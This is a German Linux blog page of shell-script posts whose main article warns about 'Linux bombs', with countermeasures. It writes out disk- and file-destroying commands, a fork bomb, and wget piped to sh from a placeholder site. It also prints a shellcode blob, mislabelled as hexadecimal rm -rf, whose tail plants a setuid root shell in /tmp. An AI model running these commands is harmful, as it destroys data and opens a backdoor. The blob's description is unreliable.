Shell­script

Ein Shell­script ist ein we­nig der Batch­da­tei in Win­dows ähn­lich. Ein Shell­script ar­bei­tet im Nor­mal­fall im Ter­mi­nal. Da die Bash, das ist un­se­re Shell, un­ter Li­nux aber all­mäch­tig ist, hinkt der Ver­gleich mit der Batch­da­tei von Win­dows. Denn auch die so­ge­nann­te “PowerS­hell” von Win­dows hat nicht an­nä­hernd die Kraft ei­ner Bash.

In­halts­ver­zeich­nis

Shell­script wei­ter­le­sen

Ak­tua­li­sie­rung, Re­pa­ra­tur und Be­rei­ni­gung von De­bi­an, Ubun­tu und Mint

Da ich gern mein De­bi­an ba­sie­ren­des Sys­tem selbst ak­tua­li­sie­ren woll­te, hat­te ich mir die­ses Bash-Script ge­schrie­ben. Zu­dem lö­sche ich da­mit alte Ker­nel die ich nicht mehr nut­ze und re­pa­rie­re miss­glück­te Ak­tua­li­sie­run­gen. Also hier mein zwei­tes Script.

In­halts­ver­zeich­nis

Ak­tua­li­sie­rung, Re­pa­ra­tur und Be­rei­ni­gung von De­bi­an, Ubun­tu und Mint wei­ter­le­sen

In­stal­lier­te Pro­gram­me als Lis­te

Um eine Über­sicht mei­ner in­stal­lier­ten Pro­gram­me zu er­hal­ten, habe ich mir die­se Script ge­schrie­ben. Die­ses Bash-Script ist das ers­te, das ich ver­öf­fent­li­che.

In­halts­ver­zeich­nis

In­stal­lier­te Pro­gram­me als Lis­te wei­ter­le­sen

Ge­fähr­li­che Be­feh­le, Li­nux-Bom­­ben


In­halts­ver­zeich­nis

Vor­wort
1. rm
2. rm -rf in he­xa­de­zi­mal
3. Fork­bomb
4. Copy und Pas­te
5. De­vice Null
6. Ope­ra­to­ren
7. WGET
8. dd
9. Wei­te­re Be­feh­le
Fa­zit
Quel­len


Vor­wort

Vor­sicht, nur in vir­tu­el­len Ma­schi­nen tes­ten! Als Test­sys­tem hat­te ich ein Ubun­tu 16.04 in eine vir­tu­el­le Ma­schi­ne in­stal­liert und mehr­fach ko­piert.


1. rm

Die be­kann­tes­te Li­nux-Bom­be ist wohl “rm”, denn es wird oft ver­ges­sen den kom­plet­ten Pfad an­zu­ge­ben, auch wenn man in ei­nem Un­ter­ver­zeich­nis ist, denn die­ser Be­fehl geht über die Wur­zel. Und es ist auch hoch be­zahl­ten Ad­mins schon pas­siert.

sudo rm -rf /

Die­ser Be­fehl löscht ohne Nach­fra­ge re­kur­siv al­les ab Wur­zel­ver­zeich­nis. Al­les heißt, alle ein­ge­häng­te Lauf­wer­ke und auch alle Netz­lauf­wer­ke.
Funk­tio­niert tod­si­cher! Aber nicht un­ter dem Ubun­tu, dort wird eine War­nung aus­ge­ge­ben.
Ge­gen­maß­nah­me
Ein Fall­strick kann “safe-rm” sein. Es soll vor un­be­ab­sich­tig­ten lö­schen hel­fen. Wer sich aber dar­an ge­wöhnt und auf ei­nen anderen/neuen Rech­ner kein “safe-rm” in­stal­liert hat, dann ist “rm” ist sei­ner Ge­walt nicht zu brem­sen.
An­sons­ten hilft auch kein be­ten.
Quel­le
Wei­te­res in je­dem Li­nux-Hand­buch und je­der Unix-Be­fehls­re­fe­renz.


2. rm -rf in he­xa­de­zi­mal

Ist ge­nau­so schäd­lich:

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Un­ter Ubun­tu müss­ten dazu die Pa­ke­te re­lease und bikes­hed in­stal­liert sein. Hat bei mir un­ter Ubun­tu nicht funk­tio­niert.


3. Fork­bomb

Rech­ner aus­las­ten mit Hin­ter­grund­ak­ti­vi­tät und da­mit die CPU mal rich­tig heiß wird und sich selbst aus­lö­tet.

:(){ :|:& };:

Funk­ti­on die de­fi­niert wird, hier “:()”, ruft sich selbst als Hin­ter­grund­ak­ti­vi­tät auf und über­gibt sich wie­der neu und so wei­ter, also eine ty­pi­sche Fork­bomb. Funk­tio­niert un­ter Ubun­tu. Bös­ar­tig, es wird am An­fang nicht gleich wahr­ge­nom­men und Sys­tem­mo­ni­to­re, wie “Con­ky”, zei­gen durch die 100% aus­ge­las­te­te CPU kei­ne Ver­än­de­run­gen an.
Ge­gen­maß­nah­me
Schutz gibt es, wenn die Da­tei “/etc/security/limits.conf” dem ent­spre­chend edi­tiert wird.


4. Copy und Pas­te

Das In­ter­net hilft bei vie­len Ge­le­gen­hei­ten, aber er­setzt nicht das ei­ge­ne Den­ken. Ko­pie­ren und Ein­fü­gen kann ge­fähr­lich sein. Hin­ter ei­ner harm­lo­sen Ein­ga­be wie

echo "Hallo Welt!"

kann man auch

rm -rf /

ver­ste­cken.
Ge­gen­maß­nah­me
Vor­sichts­hal­ber in ein Edi­tor ein­fü­gen, hilft aber auch nicht im­mer :-)


5. De­vice Null

Das Ge­rät Null ist tat­säch­lich ent­stan­den um Da­ten, die als un­wich­tig gel­ten, in das Nichts zu sen­den.
Doch fol­gen­de Be­fehls­zei­le löscht das ge­sam­te /home-Ver­zeich­nis des an­ge­mel­de­tem Be­nut­zers.

mv ~ /dev/null

In Ubun­tu ist da­für kei­ne Be­rech­ti­gung vor­han­den.
Ge­gen­maß­nah­me
Nach­den­ken, was soll eine Til­de, also das /home-Ver­zeich­nis, mit Null zu tun ha­ben!


6. Ope­ra­to­ren

Ger­ne nut­ze ich das Kom­man­do “ls > Verzeichnis.txt” um mir den In­halt ei­nes Ver­zeich­nis als Text­da­tei ab­zu­le­gen. Und bei Än­de­run­gen lege ich mit dem dop­pel­ten Ope­ran­den “ls » Verzeichnis.txt” in der sel­ben Da­tei am Ende nach.

ls > /dev/sda

Wird aber die­ser Be­fehl aus­ge­führt über­schreibt er die ge­nann­te Fest­plat­te mit sich selbst. Statt “ls” könn­te auch ein an­de­rer Be­fehl ge­nom­men wer­den, die Aus­wir­kung ist gleich, da hier der Ope­rand den Feh­ler aus­übt. In Ubun­tu ist da­für kei­ne Be­rech­ti­gung vor­han­den.
Ge­gen­maß­nah­me
Im­mer erst in ei­ner vir­tu­el­len Ma­schi­ne sol­che Kom­man­dos prü­fen.


7. WGET

Ist die­sel­be Be­quem­lich­keit wie ko­pie­ren und ein­fü­gen. Ein Script wird im Netz zur Ver­fü­gung ge­stellt und nun kann man es ein­fach durch die Shell aus­füh­ren, mit Ver­hin­de­rung von wich­ti­gen In­for­ma­tio­nen.

wget http://webseite.com -q | sh

Nur, ob die Be­schrei­bung des Skrip­tes mit dem tat­säch­li­chem In­halt über­ein­stimmt, ist hier nicht plau­si­bel er­wie­sen.
Hat in mei­ner Ubun­tu-In­stal­la­ti­on nicht funk­tio­niert.
Ge­gen­maß­nah­me
Durch “quiet” ist es noch nicht mal mög­lich die Ge­fahr zu ban­nen, zum Bei­spiel mit “Strg+c”.


8. dd

Die­ses Kom­man­do ist zum Ko­pie­ren ge­dacht. Hier ist Miss­brauch mög­lich, um Da­ten­trä­ger zu über­schrei­ben.

dd if=/dev/urandom of=/dev/sda

An die­sem Bei­spiel wer­den Zu­falls­zah­len auf die ge­sam­te Fest­plat­te ge­schrie­ben und so­mit der vor­han­de­ne In­halt ge­löscht.
Ge­gen­maß­nah­me
Da hab ich es mit Nel­son -> “Haha”.


9. Wei­te­re Be­feh­le die vor­sich­tig an­ge­wen­det wer­den soll­ten.

Die nach­fol­gen­den Kom­man­dos habe ich nicht ge­tes­tet, er­schei­nen aber lo­gisch.

sudo chmod 000 -R /

Rech­te wer­den re­kur­siv ent­zo­gen oder kei­ne er­teilt wie man´s sieht. Da­ten blei­ben aber er­hal­ten.
Mit um­ask wä­ren si­cher­lich auch sol­che Spiel­chen mög­lich.

touch root
sudo chattr +i root

Da­tei mit +i un­ver­än­der­lich set­zen

sudo chattr -i root

At­tri­but wie­der ent­fer­nen


10. Fa­zit

Das sind wohl ei­ni­ge der be­kann­tes­ten Fall­gru­ben. Trotz­dem soll­te bei an­ge­bo­te­ner Hil­fe das ei­ge­ne Den­ken die ers­te Hür­de sein und ein ge­sun­des Maß an Miss­trau­en, ob an­de­re nicht auch Flüch­tig­keits­feh­ler ma­chen, wäre an­ge­bracht.


Quel­len

Li­nux-Hand­buch von Ko­f­ler, Gal­li­leo-Ver­lag
Unix-Be­fehls­re­fe­ren­zen im Netz
http://www.junauza.com/2008/11/7-deadly-linux-commands.html
https://ppfeufer.de/lokale-linuxssicherheit-oder-wie-entschaerf-ich-die-bombe.html/
https://www.schnatterente.net/software/versteckter-schadcode-gefaehrliche-linux-howtos/2
https://www.heise.de/security/dienste/Copy-Paste-Tricks-1842691.html
https://de.wikipedia.org/wiki//dev/null
https://de.godaddy.com/blog/die-5-gefaehrlichsten-kommandos-in-der-linux-konsole/
https://wiki.ubuntuusers.de/wget/
http://www.linux-community.de/Internal/Nachrichten/Die-7-toedlichsten-Linux-Kommandos

Fort­schritts­an­zei­ge bei Fest­plat­te lö­schen oder ko­pie­ren oder be­schrei­ben durch dd oder dc­fldd oder pv

Mit­un­ter sind trotz schnel­lem PC ei­ni­ge Vor­gän­ge sehr zeit­auf­wen­dig. Dazu ge­hö­ren Be­feh­le die eine Fest­plat­te ko­pie­ren, be­schrei­ben oder so­gar kom­plett lö­schen. Da wäre eine Fort­schritts­an­zei­ge sehr hilf­reich.

In­halts­ver­zeich­nis

Fort­schritts­an­zei­ge bei Fest­plat­te lö­schen oder ko­pie­ren oder be­schrei­ben durch dd oder dc­fldd oder pv wei­ter­le­sen

Beid­sei­ti­ger Wech­sel QEMU und Vir­tu­al­Box

Nun hat­te ich schon qemu vor­ge­stellt. Trotz­dem kann es vor­kom­men das man die Vir­tu­al­Box vor­zieht.
Um die Fest­plat­ten-Ab­bil­der nicht neu zu er­stel­len, kann man die­se in bei­de Rich­tun­gen kon­ver­tie­ren. Wo­bei qemu als, mei­ner Mei­nung nach, das bes­se­re und na­ti­ve Pro­gramm mehr For­ma­te ver­wal­ten kann, als Vir­tu­al­Box. Denn qemu lädt auch die von der Vir­tu­al­Box er­stell­ten Ab­bil­der. Vir­tu­al­Box kann aber die For­ma­te die ich mit qemu er­stellt habe, nicht la­den.

In­halts­ver­zeich­nis

Beid­sei­ti­ger Wech­sel QEMU und Vir­tu­al­Box wei­ter­le­sen

Zu­griffs­rech­te vom Ver­zeich­nis “gvfs”

Pro­blem
Un­ter Ubun­tu ist mir jetzt mehr­fach das ver­steck­te Ver­zeich­nis “.gvfs” auf­ge­fal­len. Er ist im je­wei­li­gen home-Ver­zeich­nis des Be­nut­zers und hat manch­mal die Zu­griffs­rech­te auf root ge­setzt. Nun ist das nicht un­be­dingt hin­der­lich im täg­li­chen Be­trieb, aber

  1. Was ist gvfs über­haupt?
  2. War­um hat ein Ver­zeich­nis das nur den Be­nut­zer ge­hö­ren soll, root-Rech­te?
  3. Von rsync wird na­tür­lich ein Feh­ler aus­ge­ge­ben.
  4. War­um kön­nen die Rech­te mit chown nicht auf den Be­nut­zer ge­setzt wer­den?

Lö­sung

  1. Gvfs kann man mit “Gno­me vir­tu­al File­sys­tem” auf­lö­sen. Das ist die Ver­knüp­fung von ver­schie­den Ge­rä­ten mit ih­ren ver­schie­de­nen Da­tei­sys­te­men, wie Win­dows sein NTFS oder Da­tei­sys­te­me die über Netz­wer­ke er­reich­bar sind.
  2. Das weiß ich auch nicht, even­tu­ell ist hier ein Si­cher­heits­kon­zept zu weit ge­gan­gen.
  3. Feh­ler­mel­dun­gen sind im­mer är­ger­lich und man möch­te die­se ver­ste­hen und be­he­ben.
  4. Und jetzt mei­ne ge­fun­de­ne Lö­sung. Erst dach­te ich bei der Ein­rich­tung ei­nes neu­en PC, das die Ur­sa­che bei der an­ge­schlos­se­nen, eben­falls neu­en ex­ter­nen Fest­plat­te mit ih­rem NTFS-Da­tei­sys­tem liegt. Doch das zu­rück­ho­len der Rech­te ge­lang im­mer noch nicht. Nach län­ge­rem Nach­den­ken kam ich dar­auf, dass die Sper­rung auf Grund ei­nes ge­star­te­tem Da­e­mon, Diens­tes, er­folgt. Da­her sah ich im Au­to­start nach und fand das “Blu­e­mann-App­let”, ein Blue­tooth-Ma­na­ger. Blue­tooth ist eine Netz­werk­tech­no­lo­gie für kur­ze ka­bel­lo­se Ver­bin­dun­gen zu an­de­ren Da­tei­sys­te­men.
    Und das war es. Ich be­nut­ze aus mei­nem Si­cher­heits­ver­ständ­nis kein Blue­tooth und habe es kur­zer­hand für im­mer ent­fernt, de­ak­ti­vie­ren wür­de aber auch rei­chen.
    Nun konn­te ich nach ei­nem Neu­start ohne den Blue­tooth-Diens­ten die Rech­te wie­der zu­rück er­lan­gen. Die Op­ti­on re­kur­siv nur aus Faul­heit um das Ver­zeich­nis nicht noch un­ter­su­chen zu müs­sen auf even­tu­el­le In­hal­te.

Ein­ga­be in der Kon­so­le

amnesia@amnesia:~$ sudo chown -R amnesia:amnesia .gvfs

Rech­te­prü­fung im Ter­mi­nal

amnesia@amnesia:~$ ls -al

Die Rech­te vor­her: dr-x—— 2 root root
Die Rech­te da­nach: drwx—— 2 amne­sia amne­sia

Mit chmod hät­te ich das Pro­blem schnel­ler ge­löst, also zu­erst Schreib­rech­te ein­for­dern und dann Be­nut­zer­wech­sel, nur hät­te ich die Ur­sa­che nicht er­kannt.


Schlag­wor­te:
“Die an­ge­for­der­te Funk­ti­on ist nicht im­ple­men­tiert”, “Per­mis­si­on de­nied”, chown, chmod, fsck, ver­steck­te Ver­zeich­nis­se / Ord­ner, Zu­griffs­rech­te, Da­tei­sys­tem, Schreib­schutz